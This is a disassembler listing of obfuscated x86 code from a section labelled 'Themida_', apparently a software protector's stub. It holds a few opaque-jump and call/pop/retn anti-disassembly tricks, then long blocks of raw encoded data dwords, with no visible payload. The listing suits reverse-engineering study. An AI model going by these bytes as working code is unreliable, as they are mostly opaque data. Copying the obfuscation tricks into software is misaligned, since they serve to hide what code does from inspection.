jns loc_57A1E6
mov edx, 7AA8E7FDh
loc_57A1E6: ; CODE XREF: Themida_:0057A1DBj
jmp loc_57A1F1
; ---------------------------------------------------------------------------
mov edi, 0A660983h
xchg eax, esp
loc_57A1F1: ; CODE XREF: Themida_:loc_57A1E6j
mov bx, ds
cld
stc
test bl, 4
jz loc_57A7B1
sub [ebp+6A832A5h], edx
mov dword ptr [ebp+6A8339Dh], 0
xor cx, 0EAB3h
cmp byte ptr [ebp+6AAF794h], 0
jnz loc_57A222
cmc
loc_57A222: ; CODE XREF: Themida_:0057A21Bj
mov byte ptr [ebp+6A815D5h], 47h
jo loc_57A246
jmp loc_57A246
; ---------------------------------------------------------------------------
dd 5F6275E5h, 0F37BF6F0h, 0E89AD391h, 0D95B4097h
; ---------------------------------------------------------------------------
jmp dword ptr [ebx]
; ---------------------------------------------------------------------------
loc_57A246: ; CODE XREF: Themida_:0057A229j
; Themida_:0057A22Fj
push 0E3E45B86h
push dword ptr [ebp+6A831F9h]
push 0
push eax
call sub_57A25C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A25C proc near ; CODE XREF: Themida_:0057A254p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_57A25C endp
; ---------------------------------------------------------------------------
dd 858DC4E1h, 6A83AC3h, 0D0FFDBB2h, 68D18B66h, 104h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 44C35646h, 7D4C118h
dd 2CC1B529h, 9D8D06A8h, 6A81C35h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0F3C35242h, 0BF66D238h, 0BA538551h
dd 38F35197h, 6AD0FFF9h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 833CC355h, 0F0B5AB4h
dd 8166D7BFh, 8DB2B1D2h, 0A81C3585h, 38F0F06h, 0F000000h
dd 0BF50D2B7h, 7C96AFC7h, 0F746858Dh, 14E906AAh, 0F6000000h
dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h, 50ECAB64h
dd 5E9h, 0B44A7E00h, 8D0F9443h, 3, 8DCA8B66h, 0AAEE1985h
dd 99958B06h, 5006A829h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 1AC35747h, 8C0996B9h, 6810F26h, 0B000000h
dd 0A82F998Dh, 3595FF06h, 8B06A822h, 0A8029595h, 0CC48306h
dd 6810Fh, 8D890000h, 6A80BA5h, 8068006Ah, 6A000000h, 6A006A03h
dd 6800h, 858D8000h, 6AAEE19h, 0C195FF50h, 8906A81Ah, 0AAF72985h
dd 0D585C606h, 4706A815h, 0B15E8768h, 0F9B5FFC7h, 8D06A831h
dd 0A83AC385h, 6AD0FF06h, 29B5FF00h, 0FF06AAF7h, 0D18151D0h
dd 2505A61h, 6800F59h, 89000000h, 0A831D19Dh, 37D03D06h
dd 830F0000h, 48h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 9EC35242h, 0FFD08B66h, 0AAF729B5h, 71BD2906h
dd 8B06A82Ch, 0A819F595h, 5595FF06h, 8B06A80Fh, 0A82CBDBDh
dd 0DFE906h, 0BD890000h, 6A82CD5h, 0F729B5FFh, 8D8906AAh
dd 6A81A5Dh, 0F5595FFh, 0ADB106A8h, 8A0F006Ah, 2, 6ACF8Bh
dd 6A34B5h, 15EDB589h, 5A5306A8h, 11E9006Ah, 56000000h
dd 6A46BDDDh, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh, 6A006Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 4CC4CEC3h, 0BC9A72Dh, 0A8306595h, 0C9BD2906h, 6A06A830h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 391B67A7h, 0B3D8D8Bh, 858D06A8h, 6AAF72Dh
dd 6820Fh, 0BD8B0000h, 6A83495h, 50CAB70Fh, 85896BB5h
dd 6A8021Dh, 1AC195FFh, 0B58906A8h, 6A82C9Dh, 0F883FA8Bh
dd 77850FFFh, 0F000001h, 48Ch, 10B96600h, 0B9858D11h, 0BA06AAB2h
dd 46D96D6h, 8060D0FFh, 9D8BF6F1h, 6A80621h, 6A006A61h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 7C02C357h, 0CA881FCh, 8B8473AEh, 0A834A595h
dd 0CA816606h, 6ADA7Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 16h, 9CC35747h, 9E9A410h, 0C8000000h, 0A6396C5h
dd 0A7A45CCFh, 8589006Ah, 6A8310Dh, 0AE9006Ah, 53000000h
dd 0D01BE089h, 0D28372A7h, 8B006A62h, 8B006AF8h, 0A80E3995h
dd 5D8D8B06h, 8D06A834h, 0AAF72D85h, 1BD2B06h, 5006A802h
dd 9E9h, 0FEC97100h, 0CF3280A7h, 95FFF014h, 6A81AC1h, 0C5D9589h
dd 0F88306A8h, 9B850FFFh, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DC9FC350h
dd 8D0F5AC6h, 1Dh, 11E8h, 0A8AC6400h, 907A57F1h, 1527E025h
dd 5638E797h, 9589E331h, 6A80971h, 3DF815Ah, 8D76BAA5h
dd 0AAF135B5h, 0CE8B6006h, 16D99531h, 8D6106A8h, 0AA9B7C85h
dd 12E906h, 0D20D0000h, 1965609Ch, 480A62CEh, 537775E8h
dd 88F3C493h, 14AD8D8Bh, 0D0FF06A8h, 0E45BD8Bh, 3DBF06A8h
dd 6A26BE51h, 0B98D2B00h, 0FF06A826h, 0A8008195h, 5FBDBA06h
dd 85896312h, 6AAF729h, 219D8D09h, 6A06A8h, 21858DF9h
dd 5006AAF7h, 153237B9h, 8D046A43h, 0A8072585h, 4800F06h
dd 66000000h, 50D5CCB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 0DCC35646h, 8B2BCE00h, 0A8160995h, 0F88B6606h
dd 0BA66006Ah, 6A97D5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 5C35343h, 9701278Ch, 25099D89h, 958906A8h
dd 6A82B15h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0C50617C3h, 0FF67BDC4h, 0AAF729B5h
dd 419D8906h, 0BF06A826h, 2667384Eh, 29D595FFh, 10E806A8h
dd 2C000000h, 64CA30B6h, 84627862h, 294D2BC9h, 0E88C478Dh
dd 0Dh, 0CBB0BB8Eh, 428B7524h, 0A418932h, 8E0F95h, 5A000000h
dd 1AFDE95Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0DEB536C3h, 9F6C9A0Fh, 25C28166h
db 0D9h
; ---------------------------------------------------------------------------
loc_57A7B1: ; CODE XREF: Themida_:0057A1F9j
mov eax, eax
pusha
jmp loc_57A7C7
; ---------------------------------------------------------------------------
db 18h, 0Ch, 0BEh
dd 0C3958815h, 64D7BDF4h
db 0D9h, 0F2h, 0C4h
; ---------------------------------------------------------------------------
loc_57A7C7: ; CODE XREF: Themida_:0057A7B4j
xor edi, 426295E8h
popa
cmp dword ptr [ebp+6A81ED9h], 0
jnz short loc_57A7E0
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57A7F9
loc_57A7E0: ; CODE XREF: Themida_:0057A7D5j
push eax
push ebx
mov eax, eax
mov eax, 7D2h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AAA1ACh]
call ebx
pop ebx
pop eax
loc_57A7F9: ; CODE XREF: Themida_:0057A7DEj
cmp dword ptr [ebp+6A82DE9h], 0
jz short loc_57A819
push eax
push ebx
mov eax, 7D2h
mov [ebp+6A807B5h], eax
lea ebx, [ebp+6AA9E9Bh]
call ebx
pop ebx
pop eax
loc_57A819: ; CODE XREF: Themida_:0057A800j
mov [ebp+6A815ADh], ebx
add di, 0D0F2h
mov eax, eax
push 0
push esi
call sub_57A831
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57A831 proc near ; CODE XREF: Themida_:0057A829p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_57A831 endp
; ---------------------------------------------------------------------------
db 0E6h, 8, 7Dh
dd 0C7C88BEAh, 0A8339D85h, 106h, 0EE800h, 7D3F0000h, 1C15EAC7h
dd 0F3D6602h, 0C0976803h, 0FA5958Bh, 685A06A8h, 0CEE4E7B8h
dd 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh, 6A817F1h
dd 0F985858Dh, 8D5006AAh, 0AAFC4285h, 1685006h, 0FF800000h
dd 0A817F195h, 75C00B06h, 3D85C70Ah, 106A832h, 68000000h
dd 0C005DBD4h, 69DB5FFh, 858D06A8h, 6A83AC3h, 8589D0FFh
dd 6A80D11h, 0EBD2858Dh, 0FF5006AAh, 0A831F9B5h, 995FF06h
dd 0B06A809h, 8B0B74C0h, 85858DD8h, 5006AAFBh, 858DD3FFh
dd 6AAFB85h, 9388366h, 85C70A75h, 6A80A99h, 1, 32D195FFh
dd 0FF2506A8h, 83000000h, 0A7305F8h, 21C585C7h, 106A8h
dd 8AF80000h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 43C7CC2Ch, 18899BF9h, 0BD80BE0Ch
dd 6AAF794h, 2B840F00h, 8B000000h, 0A805218Dh, 3EBD8306h
dd 6AAFCh, 41840Fh, 8E80000h, 35000000h, 3F60F617h, 609FA87Ah
dd 66D3B70Fh, 0A5D1DF81h, 0CE95961h, 6A000019h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 6870C352h, 2B2AAB7Ah, 83FEB70Fh, 0A80A99BDh, 850F0006h
dd 90h, 10E9h, 0DAF1B500h, 0FCD986D5h, 0D57EE54Ch, 4B87382h
dd 5E858DBDh, 5006AAF7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 0DFC35343h, 16A00E2h, 6ACE8Bh, 10E9h
dd 3E988900h, 0C7B338BAh, 60A8B530h, 0EA63B6B1h, 8B006AB9h
dd 8195FFD7h, 8906A802h, 0A807C9B5h, 88858906h, 0BF06AAF7h
dd 623F6373h, 0BD8BFF6Ah, 6A817CDh, 0F788B5FFh, 8D8B06AAh
dd 6A81509h, 95FFD7B1h, 6A82A7Dh, 0A796B966h, 0EB99858Dh
dd 10E906AAh, 0BE000000h, 86400CDAh, 0A2445Eh, 12D6BA54h
dd 0FCB83E1h, 6A50FFB7h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 9F9CC352h, 9DD7DA81h
dd 9E9057Ah, 6B000000h, 0DD47C457h, 732F19E4h, 1EED95FFh
dd 816606A8h, 898A04DAh, 0AAEC2385h, 20D98106h, 8D537460h
dd 0AAEBA685h, 2850F06h, 8B000000h, 820F50CFh, 16h, 11E9h
dd 0B1F90900h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 12E9A27Eh
dd 0CE000000h, 75A0BB9Eh, 0D285B7BFh, 0F2A750C4h, 0BD8207B2h
dd 23B5FF45h, 0E806AAECh, 5, 0BC0CD60Ch, 0C28166AEh, 0FF5A3C62h
dd 0A8090995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 8589FB97h, 6A814B1h, 2E11BD8Bh
dd 858D06A8h, 6AAEC14h, 1820F60h, 0FC000000h, 96ADCA81h
dd 896178E5h, 0A832D595h, 0B5FF5006h, 6AAEC23h, 90995FFh
dd 0FAB906A8h, 8972A4DFh, 0AAEC3785h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0FC558B76h, 3216F28h, 798D8BDAh, 8B06A830h, 0A8312995h
dd 0F3858D06h, 6A06AAEBh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 3127C356h, 0B5FF5062h
dd 6AAEC23h, 0FFC9BF0Fh, 0A8090995h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 81667343h
dd 89F0DAE2h, 0AAEC2F85h, 0B1B52906h, 8D06A82Fh, 0AAEBE685h
dd 0B99D0906h, 5006A830h, 0AE9h, 25135800h, 0A0195FC1h
dd 0FFCE2C63h, 0AAEC23B5h, 0DDBD8B06h, 0FF06A810h, 0A8090995h
dd 0CBB70F06h, 0EC338589h, 816606AAh, 80CFC4D1h, 858D7AD9h
dd 6AAEC01h, 1E259D29h, 0FF5006A8h, 0AAEC23B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 6A05A685h, 8A0F691Ch, 4, 0ABB8B966h, 90995FFh, 858906A8h
dd 6A8330Dh, 2899B589h, 0BD8B06A8h, 6A82115h, 0EBB5858Dh
dd 0CA8B06AAh, 26B96650h, 0FFF88B63h, 0AAEC23B5h, 0A8BDB906h
dd 95FF3680h, 6A80909h, 7E8h, 0C74A4300h, 0ECEACC61h, 2785895Fh
dd 6A06AAECh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 38F2C350h, 858D853Bh, 6AAEBC4h
dd 0FE9h, 0F0397000h, 0A402FA40h, 84AA753Dh, 834D3551h
dd 3FDD8050h, 0EC23B5FFh, 0BEB906AAh, 0FF0F9531h, 0A8090995h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 57A32A73h, 0E2B9662Ch, 0E2816647h, 8589EB98h
dd 6AAEC2Bh, 8BFBB70Fh, 0A822D9BDh, 1046806h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 858DBEC3h, 6AAECBBh, 51006A50h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 7C5C87CEh, 668040B6h
dd 0C836D981h, 8DC4F580h, 0AAEDBF85h, 31F95006h, 0A820D98Dh
dd 0C995FF06h, 8B06A81Ah, 0A8345995h, 3850F06h, 66000000h
dd 0C085F98Bh, 2E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 0E10A15C3h, 561CA90Bh
dd 0B966D7CDh, 0BD0B3904h, 6A825E1h, 0F794BD80h, 0F0006AAh
dd 2F85h, 0E9F08A00h, 148Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 0D8C35242h, 86BCA463h, 8589A092h
dd 6A80721h, 0A99BD83h, 0F0006A8h, 1085h, 3EBD8300h, 6AAFCh
dd 5D840Fh, 8B660000h, 58858DD3h, 8B06AAECh, 0A80B018Dh
dd 1435E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0FACDCC3h, 28Bh, 0E95F5200h, 2Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0B2C35040h
dd 8D525EACh, 0AAEC4385h, 71950106h, 5006A80Ah, 0C5958950h
dd 5A06A810h, 0ECBB858Dh, 61B506AAh, 57006A50h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0C4B966D1h
dd 99BD8367h, 6A80Ah, 3E840Fh, 81660000h, 8D25EBF2h, 0AAEDE185h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 81666CCEh, 0E9E839D7h, 13h, 6870Fh, 958B0000h
dd 6A83039h, 0EDCA858Dh, 50F906AAh, 918EA81h, 858D6227h
dd 6AAEE19h, 5850Fh, 3FBA0000h, 50373BF5h, 3595FFFCh, 6006A822h
dd 56EC1FB9h, 0B9BD891Fh, 6106A828h, 2910C483h, 0A82F35B5h
dd 0E9C08B06h, 13h, 10620C9Ch, 63B7AD8Ah, 6381D9B5h, 2CFB531Fh
dd 83BBA826h, 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h
dd 8B535019h, 7D3B8C0h, 85890000h, 6A807B5h, 0A1AC9D8Dh
dd 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h, 7D3B853h
dd 85890000h, 6A807B5h, 9E9B9D8Dh, 0D3FF06AAh, 13E9585Bh
dd 4F000000h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh
dd 0C180C024h, 6AC08B78h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 89E9C350h, 6E986AEh
dd 0C6000000h, 0A0270575h, 43BD8121h, 6F06AAECh, 0F616572h
dd 0B784h, 0FD8D8900h, 8D06A814h, 0AAECBB85h, 858D5006h
dd 6AAEDF8h, 19858D50h, 5006AAEEh, 223595FFh, 0C48306A8h
dd 0D585C60Ch
dd 4406A815h, 0A3184F68h, 0F9B5FF96h, 8D06A831h, 0A83AC385h
dd 8BD0FF06h, 19858DD8h, 5006AAEEh, 858DD3FFh, 6AAEC43h
dd 0BB858D50h, 5006AAECh, 0A99BD83h, 740006A8h, 0E1858D08h
dd 0EB06AAEDh, 0CA858D06h, 5006AAEDh, 0EE19858Dh, 0FF5006AAh
dd 0A8223595h, 10C48306h, 0AE9h, 0AA07CA00h, 0ECF4C7Eh
dd 6ABC53F2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 3B6DC351h, 9058D03h, 9D8906A8h
dd 6A80AD5h, 32D195FFh, 0DF8106A8h, 8A279EDh, 0FF25h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A5D1D2E0h, 528A8E19h, 0C8B70F56h, 12E95A5Ah, 0F4000000h
dd 0C9EB927h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh, 5F8832Eh
dd 39830Fh, 61B90000h, 0C73E4AAEh, 0A821C585h, 106h, 0D18B6600h
dd 0EC77858Dh, 9E906AAh, 70000000h, 0F71B15A3h, 653C7276h
dd 60E9h, 0BD8B6000h, 6A81605h, 21A9BD8Bh, 836106A8h, 0A80A99BDh
dd 840F0006h, 33h, 0F09B589h, 858D06A8h, 6AAECA2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 65C35646h, 80F06836h
dd 12E96BDEh, 8D000000h, 0AAEC8485h, 6840F06h, 1000000h
dd 0A8302D8Dh, 0B7858906h, 6A06AAECh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 2AA5C355h
dd 23274E45h, 599D89CCh, 8306A822h, 0A80A99BDh, 850F0006h
dd 1Dh, 0DEFEBA66h, 0FC3EBD83h, 0F0006AAh, 1784h, 41BD8B00h
dd 8906A82Eh, 0A82D7985h, 1071E906h, 0B9660000h, 0E5B199F2h
dd 398E9h, 6810F00h, 8B000000h, 0A80D3195h, 8BC08B06h
dd 0A81719BDh, 0D9BD8306h, 6A81Eh, 0BD830975h, 6A82DE9h
dd 50197400h, 0B8C08B53h, 7D4h, 7B58589h, 9D8D06A8h, 6AAA1ACh
dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h, 7D4h, 7B58589h
dd 9D8D06A8h, 6AA9E9Bh, 585BD3FFh, 0B0D8D8Bh, 0C08B06A8h
dd 0F003F68h, 6890F00h, 2B000000h, 0A81B6D95h, 6A006A06h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h
dd 41000000h, 26B0C351h, 6A237054h, 0FBBF0F00h, 14B195FFh
dd 12E906A8h, 75000000h, 40C57A9Ah, 31051B9h, 807D4E7Bh
dd 52E13328h, 0FC0853Ah, 0C85h, 0C5EA8100h, 8954E381h
dd 0A829A18Dh, 3B858906h, 3106AAECh, 0A81F29B5h, 89006A06h
dd 0A810D195h, 3006A06h, 0A82D9DBDh, 6A006A06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0D186C352h, 4FB2CC71h, 6AD38B66h, 0C9BF0F00h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 858DDBC3h, 6AAEE19h, 0AC18D8Bh, 8D8906A8h, 6A8062Dh
dd 0D6BF6650h, 0E8016A34h, 5, 25EB9426h, 6DBD8B69h, 5906A832h
dd 7E9016Ah, 7B000000h, 5CE3DA6Fh, 16A4C78h, 68D18B66h
dd 0F01FFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 71C35747h, 0BD899B2Fh, 6A830E5h, 38C0Fh, 0BF0F0000h
dd 99BD83FEh, 6A80Ah, 44840Fh, 0DA810000h, 40ECB5Dh, 49B51FBFh
dd 98858D44h, 8A06AAECh, 36E9EAh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 609CD2C3h
dd 62CE1965h, 0E18D230Ah, 6606A807h, 858DC88Bh, 6AAEC6Eh
dd 9934B966h, 0FF50F550h, 0AAEC3BB5h, 0D9BD8B06h, 0FF06A825h
dd 0AAEC2795h, 0C085F506h, 7850Fh, 34E90000h, 0B6000000h
dd 3F85893Ah, 0E906AAECh, 8, 178EFCD3h, 34505B49h, 0EC3FB5FFh
dd 0B70F06AAh, 0D95FFD2h, 8B06A833h, 0FC085F9h, 685h, 0ADBD2900h
dd 6A06A80Eh, 51006A10h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8354C84Dh, 0A80A99BDh, 840F0006h
dd 40h, 0EC98858Dh, 6A06AAh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 3BA0C1C3h, 0F5EF056Dh
dd 0EB8A5BB5h, 33F5B589h, 15E906A8h, 8B000000h, 0A82895BDh
dd 0D2B70F06h, 0EC6E858Dh, 8D8B06AAh, 6A83449h, 57006A50h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0C3D5191Ah, 7B741AB4h, 0B70FACA9h, 3BB5FFFFh, 6606AAECh
dd 89BDD181h, 0EC3395FFh, 8D8906AAh, 6A80AD1h, 850FC085h
dd 6, 3285B589h, 858906A8h, 6AAEC3Fh, 1591958Bh, 6A06A8h
dd 148E0Fh, 8E80000h, 0DB000000h, 0F2EE04D3h, 99EA873h
dd 0A82B5D95h, 6A5A06h, 68B0Fh, 0EA810000h, 0CDA74CEh
dd 0EC3FB5FFh, 820F06AAh, 5, 0F2D58060h, 2B95FF61h, 8506AAECh
dd 4850FC0h, 66000000h, 0FFCE17B9h, 0AAEC3FB5h, 0A0BA6606h
dd 0D95FF76h, 306A833h, 0A80D7195h, 0FC08506h, 485h, 0E3BA6600h
dd 0E8006A7Bh, 9, 0C72FEDAAh, 3ACAC64Ch, 9BD33BEh, 5A06A825h
dd 8068h, 6A595700h, 1B810F03h, 0E8000000h, 13h, 0CE69C4B1h
dd 0FA600BB2h, 8C5A9722h, 49B85E92h, 6091CC76h, 6A5A61h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 91C35040h
dd 5850Fh, 1EB90000h, 0B93FA995h, 768DDB7Eh, 0BD8B006Ah
dd 6A82B71h, 68h, 0AD958BC0h, 0F06A807h, 0B5FFD1B7h, 6AAECB7h
dd 2EDDBD33h, 95FF06A8h, 6A81AC1h, 1840Fh, 66F90000h, 0F883FA8Bh
dd 0A2850FFFh, 0FF000005h, 0AAF72585h, 73BA6606h, 25BD83E3h
dd 206AAF7h, 44A840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0C3B78DC3h, 8D8D8BDEh
dd 8D06A81Eh, 5B243B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8B757984h, 0A833918Dh
dd 89D0FF06h, 0A82D9195h, 8E858D06h, 29005B1Eh, 0A801A985h
dd 8BD0FF06h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 0F8928E91h, 5E9E4h, 879A0000h, 830C3028h
dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h
dd 7D8B8C0h, 85890000h, 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh
dd 0BD83585Bh, 6A82DE9h, 50177400h, 7D8B853h, 85890000h
dd 6A807B5h, 9E9B9D8Dh, 0D3FF06AAh, 6A585Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 59E4C3h, 605502A5h
dd 16E78166h, 94B1611Fh, 5E9C08Bh, 11000000h, 5B422A50h
dd 0F003F68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 0D03FD611h, 0DE8515Bh, 0CC000000h
dd 0A1D19653h, 6711C11Fh, 0B04781D5h, 0B0D4D781h, 595A3B2Fh
dd 0F6E18166h, 80006A92h, 6AABC5h, 14B195FFh, 0BF6606A8h
dd 0C085AF57h, 0D39958Bh, 858906A8h, 6AAEC3Bh, 0DD99D31h
dd 0FF6806A8h, 8B000F01h, 99BD83FAh, 6A80Ah, 3D840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0C8AFF1C3h, 5D1BD8Bh, 0C9B506A8h, 0EC98858Dh, 8D0106AAh
dd 6A82F85h, 1BE9h, 9B52900h
dd 8D06A82Dh, 0AAEC6E85h, 7E906h, 58880000h, 5B4A5F5Ch
dd 0D0BF0F5Bh, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 0BE7E8C66h, 1A499D09h
dd 336006A8h, 0A8327DBDh, 0B5895106h, 6A80019h, 0B5FF6158h
dd 6AAEC3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0DFC35646h, 92AEDDA1h, 0EE7599D8h, 0F5858951h
dd 0FF06A81Eh, 0AAEC3395h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5E2A34D4h
dd 3F858940h, 8906AAECh, 0A800B1B5h, 0D08B6606h, 147585C7h
dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 87342FC3h, 6E785ED2h, 83FA8B66h
dd 0AAEC3FBDh, 840F0006h, 185h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 0EFC35343h, 0FFF5D981h, 31D6B92Fh
dd 0A8338985h, 0A5B52906h, 8D06A806h, 0AAEF1D85h, 840F06h
dd 50000000h, 9F40F4BAh, 66016A54h, 0FF6E7CBAh, 0AAEC3FB5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 0F70EBA5Ch, 95FF6DF3h, 6AAEC37h, 24FD8589h
dd 0B5FF06A8h, 6AAEC3Fh, 5DBD0B60h, 8B06A81Ah, 0A82C719Dh
dd 95FF6106h, 6A8330Dh, 49958952h, 5F06A815h, 1E59BD8Bh
dd 0FF6806A8h, 66000F01h, 0BD83FA8Bh, 6A80A99h, 68840F00h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 37A4C352h, 68F0F03h, 8B000000h
dd 0A80E8D95h, 98858D06h, 0E806AAECh, 7, 99EF79AEh, 669EC102h
dd 0A32BDF81h, 18870F5Fh, 0E9000000h, 13h, 0FCE75B76h
dd 35F4BBC2h, 0B77528F2h, 7315ABBBh, 0E97D69B5h, 0Fh, 8DCFCD80h
dd 0AAEC6E85h, 0AD952306h, 5006A819h, 3BB5FFF5h, 6006AAECh
dd 719B58Bh, 0FF6106A8h, 0AAEC3395h, 9958B06h, 3106A810h
dd 0A81D79BDh, 3F858906h, 5706AAECh, 34618D8Bh, 0FF5906A8h
dd 0AAEC3FB5h, 0FFD08B06h, 0AAEC2F95h, 7E906h, 0F0480000h
dd 0E72521B9h, 3FB5FF56h, 0FF06AAECh, 0A8330D95h, 0ECBA6606h
dd 0F76FE9B6h, 958BFFFFh, 6A80EBDh, 0F788B5FFh, 95FF06AAh
dd 6A820DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 56C35141h, 1900BD9Fh, 0A9E8E281h, 0DE809BBh, 0E8000000h
dd 4A031165h, 29AA1887h, 767B8B8Ch, 59CAB70Fh, 19FD858Bh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0E43CE3C3h, 0B8CDF19Eh, 2691BD89h, 8B6606A8h
dd 588E9FAh, 95890000h, 6A81AA9h, 0EF3DB58Dh, 0B53106AAh
dd 6A81E39h, 9B7C858Dh, 816606AAh, 0FF3CFEDFh, 6AA3B5D0h
dd 0EE95700h, 0AB000000h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh
dd 95FF5960h, 6A80081h, 260DB529h, 0F38B06A8h, 8DFA8B66h
dd 0AA9B7C85h, 0D0FFF906h, 2B31BD8Bh, 6A06A8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7EC35343h, 987818E5h
dd 0D3E49FC7h, 0CF8156FFh, 6D87AADEh, 8195FF5Ah, 6A06A800h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
